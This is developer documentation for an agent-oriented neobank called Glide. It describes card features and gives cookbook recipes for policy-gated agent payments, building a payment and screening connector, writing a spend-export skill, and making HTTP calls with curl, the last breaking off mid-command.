* A **physical card** that ships in 5–10 business days, with chip-and-PIN, contactless, and the GLIDE wordmark on the front.
* Add to **Apple Pay** and **Google Pay** in two taps.
* Spend from any currency you hold — the card pulls from the right balance automatically.
* **No foreign-transaction fees from Glide.** Visa's network rate (the wholesale interchange rate) is what you pay, period.
## How card spending works
When you tap your card at a merchant in Lisbon, the merchant charges in EUR. The authorization comes through Visa's network and lands in your dashboard immediately as a pending transaction. Glide:
1. Looks at your balances. If you have EUR, we settle from EUR.
2. If not, we pull from your nearest currency (typically USD or USDC) and convert at the live mid-market rate.
3. Confirms the authorization to Visa within 100ms.
No spread on the conversion. No 2–3% foreign-transaction surcharge. The price you saw on the receipt is what comes out of your balance.
## Issue a card
From the dashboard, tap **Cards → Issue a card**.
Virtual is instant; you can use it for online purchases, recurring subscriptions, and to add to Apple Pay or Google Pay. Physical takes 5–10 business days and is needed for in-person ATM withdrawals.
By default, the card pulls from your **default currency** balance and falls through to others. You can pin a card to a specific currency if you want to keep, say, your USD card distinct from your EUR card.
The virtual card details (PAN, CVV, expiry) appear immediately. Tap **Add to Apple Pay** or **Add to Google Pay** to add to your phone wallet.
## Multiple cards
You can hold up to:
* **Personal account** — 5 active cards (mix of virtual and physical).
* **Business account** — unlimited team cards, plus 5 admin-issued cards per beneficial owner.
See [Limits and controls](/cards/limits-and-controls) for per-card spending limits, freeze/unfreeze, and category restrictions.
## Lost or stolen card
From the dashboard, tap **Cards → pick the card → Freeze**. The card is unusable in under one second. No call center wait.
If the freeze was a precaution and you find the card again, tap **Unfreeze** to bring it back. If the card is gone for good, tap **Replace** to issue a new one with a new PAN; the old one is permanently void.
## Disputes and chargebacks
If you're charged for something that wasn't authorized, or a merchant didn't deliver what they promised, file a dispute from **Cards → Transaction → Dispute this charge**. See [Disputes](/cards/disputes).
## What we don't issue
* **Credit lines** — Glide is a debit-only product. We don't extend credit.
* **Chequebooks** — cheques are an obsolete rail and we don't support them. Use a wire instead.
## Next
* [Limits and controls](/cards/limits-and-controls)
* [Apple Pay and Google Pay](/cards/apple-google-pay)
* [Disputes](/cards/disputes)
# Agent pays vendor
Source: https://glide-9da73dea.mintlify.app/cookbook/agent-pays-vendor
Full lifecycle recipe. Build an AgentPolicyEnvelope, issue a Grant, call payments.initiate, inspect the Receipt, and verify the audit stream. About 20 minutes.
This recipe walks the full agent payment lifecycle end-to-end: define a policy envelope that caps spend per transaction and allowlists a vendor address, get a scoped grant from the OAuth authorization server, call `payments.initiate`, then query `audit.stream` to confirm the event landed. This is the canonical path every production agent should follow.
Audience: agent authors who want to go beyond quickstart toy calls.
## Prerequisites
* The [axtior-neobank repo](https://github.com/darshanbathija/axtior-neobank) cloned locally with `pnpm install` run at the root.
* `apps/mcp` running on `localhost:3001` (default port from `apps/mcp/src/server.ts`).
* Node 22+ and pnpm.
* A Glide OAuth client with `payments:initiate` and `audit:stream` scopes.
## Steps
### 1. Clone the example
```bash theme={null}
cd axtior-neobank/examples/agent-pays-vendor
pnpm install
```
### 2. Set environment variables
```bash theme={null}
cp .env.example .env
```
```bash theme={null}
# .env
GLIDE_BASE_URL=http://localhost:3001
GLIDE_GRANT_TOKEN= # JWT from OAuth AS — see step 4
GLIDE_VAULT_ID= # UUID of the vault to gate
GLIDE_ENTITY_ID= # UUID of the entity the vault belongs to
```
### 3. Define the policy envelope (`src/0-policy.ts`)
`AgentPolicyEnvelope` is the 14-axis object evaluated by `@glideco/policy-engine` on every
agent tool call. All amount caps are integer **cents** (not dollar strings).
```ts theme={null}
// src/0-policy.ts
import { agentPolicyEnvelopeSchema } from '@glideco/schemas';
const policyInput = {
policy_id: '01927fff-0000-7000-8000-000000000001',
vault_id: process.env['GLIDE_VAULT_ID']!,
policy_version: 1,
// Amount caps — all integers, USD cents
amount_cap_cents_per_tx: 50_000, // $500
amount_cap_cents_per_day: 200_000, // $2,000
step_up_amount_cents: 20_000, // step-up required above $200
// Counterparty allowlist — (address, chain, token) triple required.
// Address-only is unsafe: the same hex string has different meaning
// on different chains (F1 sanctions-cache-chain-key rule).
counterparty_allowlist: [
{
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
],
chain_allowlist: ['base', 'ethereum'],
velocity_max_txs_per_hour: 10,
created_at: new Date().toISOString(),
updated_at: new Date().toISOString(),
};
const result = agentPolicyEnvelopeSchema.safeParse(policyInput);
if (!result.success) {
for (const issue of result.error.issues) {
console.error(` ${issue.path.join('.')}: ${issue.message}`);
}
process.exit(1);
}
export const policy = result.data;
```
Key fields:
* `policy_id` — stable UUID across version bumps; `(vault_id, policy_id)` is unique.
* `policy_version` — monotonic counter; cache invalidation key for the policy engine.
* `amount_cap_cents_*` — absent means no cap on that axis; the engine still evaluates other gates.
* `counterparty_allowlist` — non-empty array closes the gate (only listed counterparties allowed); empty array (or omitted) means no counterparty restriction. Match the source semantics in `policy-engine/src/evaluate.ts`.
### 4. Issue a scoped grant (`src/1-grant.ts`)
In production, your agent runtime calls the OAuth AS with `client_credentials` to get a
JWT. The mock below shows the shape the AS issues.
```ts theme={null}
// src/1-grant.ts
import { grantClaimsSchema } from '@glideco/schemas';
const now = Math.floor(Date.now() / 1000);
// In production — exchange client credentials for a real JWT:
//
// curl -s -X POST https://ory.glide.co/oauth2/token \
// -u "$GLIDE_OAUTH_CLIENT_ID:$GLIDE_OAUTH_CLIENT_SECRET" \
// -d grant_type=client_credentials \
// -d "scope=payments:initiate audit:stream" \
// | jq -r .access_token
const mockClaims = {
iss: 'https://ory.glide.co',
sub: 'user-demo-00000000-0000-0000-0000-000000000001',
act: { sub: 'agent-demo-00000000-0000-0000-0000-000000000001' },
azp: 'claude-desktop',
aud: {
vault_id: process.env['GLIDE_VAULT_ID']!,
entity_id: process.env['GLIDE_ENTITY_ID']!,
},
scope: ['payments:initiate', 'audit:stream'] as const,
policy_version: 1,
iat: now,
nbf: now,
exp: now + 3600, // 60-minute cap — MAX_GRANT_TTL_SECONDS
jti: '01927fff-0000-7000-8000-000000000002',
};
const result = grantClaimsSchema.safeParse(mockClaims);
if (!result.success) {
for (const issue of result.error.issues) {
console.error(` ${issue.path.join('.')}: ${issue.message}`);
}
process.exit(1);
}
export const mockGrantClaims = result.data;
```
Grant fields:
* `sub` + `act.sub` — human principal and the agent acting on their behalf (RFC 8693 actor claim).
* `aud.vault_id` + `aud.entity_id` — both required; the gateway checks tenant isolation on every call.
* `policy_version` — pinned at issuance; the verifier re-checks against the live policy on each call.
* Max TTL is **3600 seconds** (enforced by `grantClaimsValidatedSchema`).
### 5. Call `payments.initiate` and inspect the Receipt (`src/2-pay.ts`)
The MCP gateway runs on three category-scoped endpoints. Write tools live on `/mcp/write`.
```ts theme={null}
// src/2-pay.ts
import { receiptSchema } from '@glideco/schemas';
const token = process.env['GLIDE_GRANT_TOKEN']!;
const baseUrl = process.env['GLIDE_BASE_URL'] ?? 'https://api.glide.co';
const res = await fetch(`${baseUrl}/mcp/write`, {
method: 'POST',
headers: {
Authorization: `Bearer ${token}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({
jsonrpc: '2.0',
id: crypto.randomUUID(),
method: 'tools/call',
params: {
name: 'payments.initiate',
arguments: {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 5_000, // $50 — below step_up_amount_cents ($200)
currency: 'USDC',
idempotency_key: 'vendor-pay-invoice-042',
memo: 'invoice 042',
},
},
}),
});
const body = await res.json();
// payments.initiate returns kind: 'accepted' | 'pending_step_up' (see paymentsInitiateOutput).
// On 'accepted', the gateway has enqueued the payment; the Receipt is written
// to activity_log when the connector settles. Poll audit.stream to observe it.
const result = body.result;
if (result.kind === 'pending_step_up') {
console.log('step_up_url:', result.step_up_url);
// Open the URL in the user's browser; retry the call with the same
// idempotency_key after the user completes the Privy biometric step-up.
process.exit(0);
}
console.log('pending_payment_id:', result.pending_payment_id);
console.log('policy_version:', result.policy_version);
console.log('risk_verdict:', result.risk_verdict);
console.log('enqueued_at:', result.enqueued_at);
```
Output fields (from `paymentsInitiateOutput`):
* `kind` — `accepted` (enqueued) or `pending_step_up` (caller must complete biometric step-up first).
* `pending_payment_id` — UUID of the row in `agent_pending_payments`. Correlate with `audit.stream` events as they arrive.
* `policy_version` — pinned at evaluate time; the live policy may have advanced by settle time.
* `risk_verdict` — `allow` or `allow_with_step_up`. Deny verdicts come back as JSON-RPC errors, not as outputs.
* `enqueued_at` — when the gateway accepted the call.
Once the connector settles, a `Receipt` row lands in `activity_log` and an `AgentActivityEvent` is emitted to the SSE audit stream. The fields you'll read off the receipt:
* `receipt_id` — primary key; use this to correlate against `audit.stream` events.
* `on_chain_tx` — server-fetched from chain RPC, never from a facilitator response body (F1).
* `risk_verdict` — `allow | allow_with_step_up`. Denied calls do not produce receipts.
* `vendor_used` — connector slug that settled the tx (matches `ConnectorManifest.slug`).
If `payments.initiate` returns JSON-RPC error code `-32003` with `step_up_url`,
open that URL in the user's browser, wait for Privy WebAuthn to complete,
then retry the call with the same `idempotency_key`.
### 6. Subscribe to the audit stream (`src/3-audit.ts`)
Read tools live on `/mcp/read`. `audit.stream` returns an `sse_url` and `cursor` — connect to the URL with `EventSource` (or any SSE client) to receive `AgentActivityEvent` rows as they're written.
```ts theme={null}
// src/3-audit.ts
const res = await fetch(`${baseUrl}/mcp/read`, {
method: 'POST',
headers: {
Authorization: `Bearer ${token}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({
jsonrpc: '2.0',
id: crypto.randomUUID(),
method: 'tools/call',
params: {
name: 'audit.stream',
arguments: {
// Optional. Resume from this ISO-8601 instant; omit to start from
// the moment the cursor was minted.
from_iso: new Date(Date.now() - 60_000).toISOString(),
},
},
}),
});
const { sse_url, cursor, expires_at, heartbeat_seconds } = (await res.json()).result;
console.log('sse_url:', sse_url);
console.log('cursor expires:', expires_at);
// Subscribe via standard EventSource — the SSE endpoint streams
// AgentActivityEvent rows scoped to this agent + grant.
const events = new EventSource(sse_url);
events.addEventListener('message', (raw) => {
const event = JSON.parse(raw.data);
// Filter for the payment we just made.
if (event.event_kind !== 'tool_call_settled') return;
if (event.pending_payment_id !== result.pending_payment_id) return;
console.log('settled:', event.receipt_id, event.tool_call, event.risk_verdict);
events.close();
});
```
## Run it
```bash theme={null}
GLIDE_VAULT_ID= \
GLIDE_ENTITY_ID= \
GLIDE_GRANT_TOKEN= \
npx tsx src/0-policy.ts
npx tsx src/2-pay.ts
npx tsx src/3-audit.ts
```
Expected output:
```
[0] policy envelope valid.
policy_id=01927fff-0000-7000-8000-000000000001
amount_cap_cents_per_tx=50000 ($500)
step_up_amount_cents=20000 ($200)
[2] payment initiated.
receipt_id=01927fff-0000-7000-8000-000000000003
rail=usdc-base amount=$50 risk_verdict=allow
[3] audit event found.
tool_call=payments.initiate risk_verdict=allow
sequence complete.
```
## Extend it
* Set `amount_cents` above `step_up_amount_cents` to trigger the step-up path — `payments.initiate` returns `kind: 'pending_step_up'` with a `step_up_url` to open in the browser.
* Add a second counterparty address NOT in `counterparty_allowlist` and confirm the policy engine rejects it.
* Reduce `velocity_max_txs_per_hour` to 1 and submit two calls in the same minute to hit the velocity gate.
* Bump `policy_version` without updating `amount_cap_cents_per_tx` — the grant's pinned `policy_version` will no longer match and calls will fail with `PolicyStaleError`.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/agent-pays-vendor](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/agent-pays-vendor)
## Reading list
* [AgentPolicyEnvelope schema](/oss/standards/agent-policy-envelope) — all 14 axes and validation rules.
* [Grant schema](/oss/standards/grant) — JWT claims shape, `act` claim, TTL cap.
* [Receipt schema](/oss/standards/receipt) — every field returned by write tools.
* [MCP gateway](/oss/headless/mcp-gateway) — `/mcp/read`, `/mcp/write`, `/mcp/treasury` endpoint contracts.
* [Lifecycle](/oss/standards/lifecycle) — state machine from policy creation to grant expiry.
# Build a connector
Source: https://glide-9da73dea.mintlify.app/cookbook/build-a-connector
Copy the example scaffold, write a ConnectorManifest, implement Banking and Screening capabilities, run the contract test suite, and open a PR. About 45 minutes.
This recipe walks the full connector authoring workflow using the `build-a-connector-stripe-clone` example as the worked model. You will copy the scaffold, fill in `manifest.ts` with your vendor's details, implement the `Banking` and `Screening` capability interfaces, run the contract tests, and confirm the package is ready to publish.
Audience: engineers who want to plug a new payment rail or compliance vendor into the Glide OSS stack.
## Prerequisites
* The [axtior-neobank repo](https://github.com/darshanbathija/axtior-neobank) cloned locally with `pnpm install` run at the root.
* Node 22+ and pnpm.
* Read the [ConnectorManifest schema](/oss/standards/connector-manifest) before starting — the manifest is the contract between your connector and the registry.
## Steps
### 1. Copy the example scaffold
No scaffolding CLI exists. Copy the working example directly:
```bash theme={null}
cp -r examples/build-a-connector-stripe-clone packages/connectors/my-vendor
```
The scaffold gives you:
```
packages/connectors/my-vendor/
src/
manifest.ts # ConnectorManifest definition
contract-test.ts # vitest contract suite
capabilities/
banking.ts # Banking capability stub
screening.ts # Screening capability stub
package.json
tsconfig.json
vitest.config.ts
```
Rename the package in `package.json` and update the `slug` in `manifest.ts` before doing anything else.
### 2. Write the `ConnectorManifest`
Edit `src/manifest.ts`. Every field is validated by the registry at boot and by the M5 CI gate.
```ts theme={null}
// src/manifest.ts
import type { ConnectorManifest } from '@repo/connectors-base';
export const manifest: ConnectorManifest = {
schemaVersion: 'v1',
slug: 'my-vendor', // globally unique; lowercase kebab-case
displayName: 'My Vendor',
vendor: 'My Vendor Inc.',
// trust tiers: 'community' | 'verified' | 'core'
// Start with 'community'. Bumping to 'verified' requires a separate
// PR with a signed Trusted Partner Agreement + 2 core reviewers (M5 CI gate).
trust: 'community',
capabilities: ['banking', 'screening'],
regions: ['US', 'GB'], // ISO 3166-1 alpha-2
currencies: ['USD', 'GBP'],
// Every hostname your connector calls at runtime. The egress-host lint
// CI gate rejects fetch() targets that are not listed here.
egressHosts: ['api.my-vendor.example'],
compliance: {
jurisdictions: ['US', 'GB'],
licenses: ['FinCEN MSB #31000123456789'],
dataResidency: ['US'],
amlPosture: 'vendor-screened',
retentionDays: 2555, // 7 years
},
packageVersion: '0.1.0',
homepage: 'https://my-vendor.example/docs',
iconPath: './icon.svg',
isMock: true, // flip to false when connecting to a real API
};
```
`isMock: true` blocks loading in `NODE_ENV=production` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` is set.
Validate the manifest against the published JSON Schema at
`glide.co/schemas/agent-banking/v1/ConnectorManifest.json` using any AJV-based tool,
or run the contract test suite in step 5 — it validates the manifest as its first check.
### 3. Implement the `Banking` capability
The `Banking` interface lives in `@repo/connectors-base` (workspace-internal package).
Import `BankTransferArgs` from there — not from `@glideco/schemas`.
```ts theme={null}
// src/capabilities/banking.ts
import type { Banking, BankAccount, BankTransferArgs } from '@repo/connectors-base';
import type { CallContext } from '@repo/connectors-base';
const DEMO_ACCOUNTS: BankAccount[] = [
{
accountRef: 'my-vendor-acct-001',
accountHolder: 'Acme Corp',
routing: '021000021',
accountNumber: '***1234',
currency: 'USD',
country: 'US',
},
];
let txCounter = 1000;
export const banking: Banking = {
async listAccounts(_ctx: CallContext): Promise {
// Production: GET https://api.my-vendor.example/v1/accounts
// using ctx.credentials to resolve the OAuth token for this tenant.
return DEMO_ACCOUNTS;
},
async initiateTransfer(
_ctx: CallContext,
args: BankTransferArgs
): Promise<{ vendorTxId: string; status: 'pending' | 'settled' | 'failed' }> {
// Production: POST https://api.my-vendor.example/v1/transfers
if (!args.amount || Number(args.amount) <= 0) {
return { vendorTxId: '', status: 'failed' };
}
return { vendorTxId: `my-vendor-tx-${++txCounter}`, status: 'pending' };
},
};
```
`BankTransferArgs` fields: `fromAccountRef`, `toAccountRef`, `amount` (string decimal),
`currency`, and optional `reference`.
### 4. Implement the `Screening` capability
```ts theme={null}
// src/capabilities/screening.ts
import type { Screening, ScreenSubject, ScreeningResult } from '@repo/connectors-base';
import type { CallContext } from '@repo/connectors-base';
const BLOCKED = new Set(['0xdeaddeaddeaddeaddeaddeaddeaddeaddead0000']);
export const screening: Screening = {
async screen(_ctx: CallContext, subject: ScreenSubject): Promise {
if (subject.kind === 'address') {
const addr = (subject.address ?? '').toLowerCase();
if (BLOCKED.has(addr)) {
return {
decision: 'block',
matchedLists: ['OFAC-SDN'],
riskScore: 100,
vendorRef: `my-vendor-screen-${Date.now()}`,
};
}
}
if (subject.kind === 'person' && subject.fullName?.toLowerCase().includes('evil corp')) {
return {
decision: 'review',
matchedLists: ['EU-consolidated'],
riskScore: 75,
vendorRef: `my-vendor-screen-${Date.now()}`,
};
}
return {
decision: 'pass',
matchedLists: [],
riskScore: 0,
vendorRef: `my-vendor-screen-${Date.now()}`,
};
},
};
```
### 5. Run the contract test suite
The suite from `@repo/connectors-base` validates three things in order:
1. Manifest is valid against `ConnectorManifest` v1.
2. Every declared capability has a runtime implementation.
3. No undeclared egress hosts.
```ts theme={null}
// src/contract-test.ts
import { describe, it, expect, beforeAll } from 'vitest';
import {
ContractTestSuite,
type CapabilityRuntime,
type ContractTestReport,
} from '@repo/connectors-base';
import { manifest } from './manifest.js';
import { screening } from './capabilities/screening.js';
import { banking } from './capabilities/banking.js';
class MyVendorContractSuite extends ContractTestSuite {
readonly manifest = manifest;
readonly runtime: CapabilityRuntime = { screening, banking };
}
const suite = new MyVendorContractSuite();
let report: ContractTestReport;
beforeAll(() => { report = suite.run(); });
describe('my-vendor connector contract suite', () => {
it('manifest is valid', () => {
expect(report.manifestValid).toBe(true);
});
it('all declared capabilities have runtime implementations', () => {
expect(report.missingCapabilities).toHaveLength(0);
});
it('no undeclared egress hosts', () => {
expect(report.undeclaredEgressHosts).toHaveLength(0);
});
it('banking.listAccounts returns accounts', async () => {
const accounts = await banking.listAccounts({} as never);
expect(accounts.length).toBeGreaterThan(0);
expect(accounts[0]).toHaveProperty('accountRef');
});
it('banking.initiateTransfer returns vendorTxId', async () => {
const result = await banking.initiateTransfer({} as never, {
fromAccountRef: 'my-vendor-acct-001',
toAccountRef: 'my-vendor-acct-002',
amount: '100.00',
currency: 'USD',
reference: 'INV-2026-001',
});
expect(result.vendorTxId).toMatch(/^my-vendor-tx-/u);
expect(result.status).toBe('pending');
});
it('screening.screen blocks the demo blocked address', async () => {
const result = await screening.screen({} as never, {
kind: 'address',
address: '0xDeAdDeAdDeAdDeAdDeAdDeAdDeAdDeAdDeAd0000',
});
expect(result.decision).toBe('block');
});
});
```
Run:
```bash theme={null}
pnpm --filter @glide-connectors/my-vendor test
```
The repo has 8 CI gates; all must pass before a PR is reviewed. Run `pnpm validate` at the
root to chain `turbo lint + check-types` alongside the contract tests.
### 6. Open a PR
Follow `CONTRIBUTING.md`. The checklist items a connector PR must cover:
* Contract tests pass (manifest valid, no missing capabilities, no undeclared egress hosts).
* `DISCLAIMER.md` and `COMPLIANCE.md` present and filled in (copy from an existing connector as a template).
* `egressHosts` verified against the vendor's live API docs.
* `isMock: false` set OR a note in the PR that sandbox credentials are pending.
* `trust: 'community'` until the Trusted Partner Agreement is signed.
## Run it
```bash theme={null}
pnpm --filter @glide-connectors/my-vendor test
```
Expected output:
```
✓ manifest is valid
✓ all declared capabilities have runtime implementations
✓ no undeclared egress hosts
✓ banking.listAccounts returns accounts
✓ banking.initiateTransfer returns vendorTxId
✓ screening.screen blocks the demo blocked address
Test Files 1 passed
Tests 6 passed
```
## Extend it
* Add a `card` capability to handle card issuance if the vendor supports it — declare `'card'` in `manifest.capabilities` and implement the `Card` interface from `@repo/connectors-base`.
* Wire the connector into the demo stack by setting `GLIDE_USE_MOCK_CONNECTORS=false` in `.env` once you have real sandbox credentials.
* Publish under `@glideco/connector-my-vendor` using `node scripts/publish-glide-connector.mjs my-vendor` once the TPA is signed and trust is bumped to `'verified'`.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/build-a-connector-stripe-clone](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/build-a-connector-stripe-clone)
## Reading list
* [ConnectorManifest schema](/oss/standards/connector-manifest) — every field, enum values, and CI gate rules.
* [TrustTier schema](/oss/standards/trust-tier) — `community | verified | core` and what each requires to unlock.
* [Capability interfaces](/oss/connectors/capabilities) — `Banking`, `Screening`, `Card`, and the other capability contracts.
* [CONTRIBUTING.md](https://github.com/darshanbathija/axtior-neobank/blob/main/CONTRIBUTING.md) — PR checklist and CODEOWNERS rules for the `trust` field bump.
# Build a skill
Source: https://glide-9da73dea.mintlify.app/cookbook/build-a-skill
Scaffold a SkillManifest, write a policy template, implement a consent flow, write the skill entry point, and run a smoke test. About 30 minutes.
This recipe builds `spend-export` from scratch — a skill that lets an agent pull a structured CSV of spend data for a given account and date range. The skill follows the same scaffold used by every package in the OSS Cathedral. Audience: contributors who want to author and publish a new `@glideco/*` skill.
## Prerequisites
* The [axtior-neobank repo](https://github.com/darshanbathija/axtior-neobank) cloned locally with `pnpm install` run at root.
* Node 22+ and pnpm.
* Familiarity with the [SkillManifest schema](/oss/standards/skill-manifest) and [AgentPolicyEnvelope schema](/oss/standards/agent-policy-envelope).
## Steps
### 1. Scaffold the skill package
```bash theme={null}
pnpm glide skill:new --slug spend-export
```
This creates `packages/skills/spend-export/` with:
```
packages/skills/spend-export/
src/
index.ts # skill entry point
manifest.ts # SkillManifest definition
policy.ts # default policy template
consent.ts # consent flow descriptor
schema.ts # input/output zod schemas
tests/
smoke.test.ts
package.json
tsconfig.json
```
### 2. Write the SkillManifest
```ts theme={null}
// src/manifest.ts
import type { SkillManifest } from '@glideco/schemas';
export const manifest: SkillManifest = {
schemaVersion: '1.0.0',
skillId: 'spend-export',
displayName: 'Spend Export',
description: 'Exports a structured CSV of account spend for a given date range.',
version: '0.1.0',
author: 'Glide Contributors',
license: 'MIT',
requiredScopes: ['transactions.list', 'accounts.balance'],
outputFormats: ['csv', 'json'],
consentRequired: true,
sandboxSupported: true,
docsUrl: 'https://github.com/darshanbathija/axtior-neobank/tree/main/examples/build-a-skill-spend-export',
};
```
Validate:
```bash theme={null}
pnpm glide skill:validate packages/skills/spend-export
```
### 3. Define input/output schemas
```ts theme={null}
// src/schema.ts
import { z } from 'zod';
export const SpendExportInput = z.object({
accountId: z.string(),
from: z.string().datetime({ offset: true }),
to: z.string().datetime({ offset: true }),
format: z.enum(['csv', 'json']).default('csv'),
});
export const SpendExportOutput = z.object({
rowCount: z.number(),
totalUsdc: z.string(),
exportUrl: z.string().url(),
expiresAt: z.string().datetime({ offset: true }),
});
export type SpendExportInput = z.infer;
export type SpendExportOutput = z.infer;
```
### 4. Write the policy template
The policy template is the minimum `AgentPolicyEnvelope` a principal must grant before this skill can execute. It is advisory — the gateway always checks the actual live envelope at call time.
```ts theme={null}
// src/policy.ts
import type { AgentPolicyEnvelope } from '@glideco/schemas';
export function policyTemplate(accountId: string): Partial {
return {
grantedSkills: ['spend-export'],
dataScopes: ['transactions.list', 'accounts.balance'],
spendControls: {
perTransactionCapUsdc: '0.00', // read-only skill — no spend
},
accountIds: [accountId],
};
}
```
### 5. Write the consent flow descriptor
```ts theme={null}
// src/consent.ts
import type { ConsentFlow } from '@glideco/schemas';
export const consentFlow: ConsentFlow = {
version: '1.0',
prompts: [
{
id: 'scope-acknowledge',
type: 'checkbox',
label: 'Allow this skill to read your transaction history for the selected date range.',
required: true,
},
{
id: 'data-retention',
type: 'select',
label: 'How long should the export URL stay valid?',
options: [
{ value: '1h', label: '1 hour' },
{ value: '24h', label: '24 hours' },
{ value: '7d', label: '7 days' },
],
default: '24h',
},
],
};
```
### 6. Write the skill entry point
```ts theme={null}
// src/index.ts
import { SpendExportInput, SpendExportOutput } from './schema';
import type { SkillContext } from '@glideco/schemas';
export { manifest } from './manifest';
export { consentFlow } from './consent';
export { policyTemplate } from './policy';
export async function run(
input: SpendExportInput,
ctx: SkillContext,
): Promise {
const validated = SpendExportInput.parse(input);
// Use ctx.rpc to call the MCP read endpoint — ctx handles auth + token refresh.
const txList = await ctx.rpc<{ transactions: Transaction[] }>('read', 'transactions.list', {
accountId: validated.accountId,
from: validated.from,
to: validated.to,
limit: 10_000,
});
const totalUsdc = txList.transactions
.reduce((sum, tx) => sum + parseFloat(tx.amountUsdc), 0)
.toFixed(2);
const exportUrl = await ctx.storage.uploadCsv(
`spend-export-${validated.accountId}-${Date.now()}.csv`,
txList.transactions,
{ ttl: ctx.consentAnswers['data-retention'] ?? '24h' },
);
return SpendExportOutput.parse({
rowCount: txList.transactions.length,
totalUsdc,
exportUrl,
expiresAt: new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString(),
});
}
```
### 7. Write the smoke test
```ts theme={null}
// tests/smoke.test.ts
import { describe, it, expect, vi } from 'vitest';
import { run } from '../src/index';
import type { SkillContext } from '@glideco/schemas';
const mockCtx: SkillContext = {
rpc: vi.fn().mockResolvedValue({
transactions: [
{ txId: 'tx_001', amountUsdc: '50.00', timestamp: '2026-05-01T10:00:00Z' },
{ txId: 'tx_002', amountUsdc: '120.00', timestamp: '2026-05-02T14:30:00Z' },
],
}),
storage: {
uploadCsv: vi.fn().mockResolvedValue('https://storage.glide.co/exports/demo.csv'),
},
consentAnswers: { 'data-retention': '24h' },
};
describe('spend-export smoke', () => {
it('returns correct row count and total', async () => {
const result = await run(
{
accountId: 'acc_demo_01',
from: '2026-05-01T00:00:00Z',
to: '2026-05-03T00:00:00Z',
format: 'csv',
},
mockCtx,
);
expect(result.rowCount).toBe(2);
expect(result.totalUsdc).toBe('170.00');
expect(result.exportUrl).toMatch(/^https:\/\//);
});
});
```
Run:
```bash theme={null}
pnpm --filter spend-export test
```
## Run it
```bash theme={null}
pnpm --filter spend-export test
```
Expected output:
```
✓ spend-export smoke > returns correct row count and total (11ms)
Test Files 1 passed
Tests 1 passed
Duration 312ms
```
## Extend it
* Add a `json` format branch to `run()` that uploads a JSONL file instead of CSV.
* Add a `maxRows` cap and return a `truncated: true` flag in the output when hit.
* Wire the skill into the MCP gateway by registering it in `apps/mcp/src/skills/registry.ts`.
* Publish under `@glideco/skill-spend-export` using `node scripts/publish-glide-skill.mjs spend-export`.
* Add an anomaly heuristic that fires when the exported row count exceeds 2× the account's 30-day average.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/build-a-skill-spend-export](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/build-a-skill-spend-export)
## Reading list
* [Skill authoring guide](/oss/skills/authoring) — lifecycle, consent model, and publication checklist.
* [SkillManifest schema](/oss/standards/skill-manifest) — every field and its validation rules.
* [AgentPolicyEnvelope schema](/oss/standards/agent-policy-envelope) — how policy templates compose with live envelopes.
# curl quickstart
Source: https://glide-9da73dea.mintlify.app/cookbook/curl-quickstart
Bare HTTP, no SDK. Five minutes to your first signed call and a parsed receipt in stdout.
No SDK, no build step. This recipe uses `curl` and `jq` to call the Glide MCP gateway directly. You will authenticate with an HMAC-signed JWT, call `payments.initiate`, and inspect the returned receipt. Audience: backend engineers evaluating Glide before committing to an SDK.
## Prerequisites
* `curl` and `jq` installed (`brew install jq` on macOS).
* Glide running locally per the [main quickstart](/oss/quickstart), or access to a hosted Glide instance.
* A dev secret: `MCP_TOKEN_VERIFIER_DEV_SECRET` set in your environment (32-byte hex string).
If you haven't set a dev secret yet, generate one now:
```bash theme={null}
echo "MCP_TOKEN_VERIFIER_DEV_SECRET=$(openssl rand -hex 32)" >> apps/web/.env.local
export MCP_TOKEN_VERIFIER_DEV_SECRET=$(grep MCP_TOKEN_VERIFIER_DEV_SECRET apps/web/.env.local | cut -d= -f2)
```
## Steps
### 1. Set environment variables
```bash theme={null}
export GLIDE_MCP_URL="http://localhost:8787"
export GLIDE_DEV_SECRET="$MCP_TOKEN_VERIFIER_DEV_SECRET"
export GLIDE_AGENT_ID="agent_curl_demo"
export GLIDE_ACCOUNT_ID="acc_demo_01"
```
### 2. Mint a short-lived dev JWT
The dev verifier accepts HMAC-SHA256 JWTs signed with the shared secret. Use the `glide` CLI to mint one:
```bash theme={null}
export GLIDE_TOKEN=$(pnpm glide token:mint \
--secret "$GLIDE_DEV_SECRET" \
--sub "agent_curl_demo" \
--aud "glide-mcp" \
--ttl 300)
echo $GLIDE_TOKEN
# → eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```
In production, tokens come from your Ory Hydra deployment via
`client_credentials`. See the [OAuth flow](/oss/headless/oauth-flow) for the
full RFC 7591 walk-through.
### 3. Verify the gateway is reachable
```bash theme={null}
curl -s "$GLIDE_MCP_URL/healthz" | jq .
```
Expected output:
```json theme={null}
{
"status": "ok",
"uptime": 142
}
```
### 4. Inspect available tools
```bash theme={null}
curl -s -X POST "$GLIDE_MCP_URL/mcp/read" \
-H "Authorization: Bearer $GLIDE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' \
| jq '.result.tools[].name'
```
Expected output (abbreviated):
```
"accounts.list"
"accounts.balance"
"audit.stream"
"transactions.list"
```
### 5. Check an account balance
```bash theme={null}
curl -s -X POST "$GLIDE_MCP_URL/mcp/read" \
-H "Authorization: Bearer $GLIDE_TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"jsonrpc\": \"2.0\",
\"id\": 2,
\"method\": \"tools/call\",
\"params\": {
\"name\": \"accounts.balance\",
\"arguments\": {
\"accountId\": \"$GLIDE_ACCOUNT_ID\"
}
}
}" | jq '.result'
```
### 6. Initiate a payment
```bash theme={null}
curl -s -X POST "$GLIDE_MCP_URL/mcp/write" \
-H "Authorization: Bearer $GLIDE_TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"jsonrpc\": \"2.0\",
\"id\": 3,
\"method\": \"tools/call\",
\"params\": {
\"name\": \"payments.initiate\",
\"arguments\": {
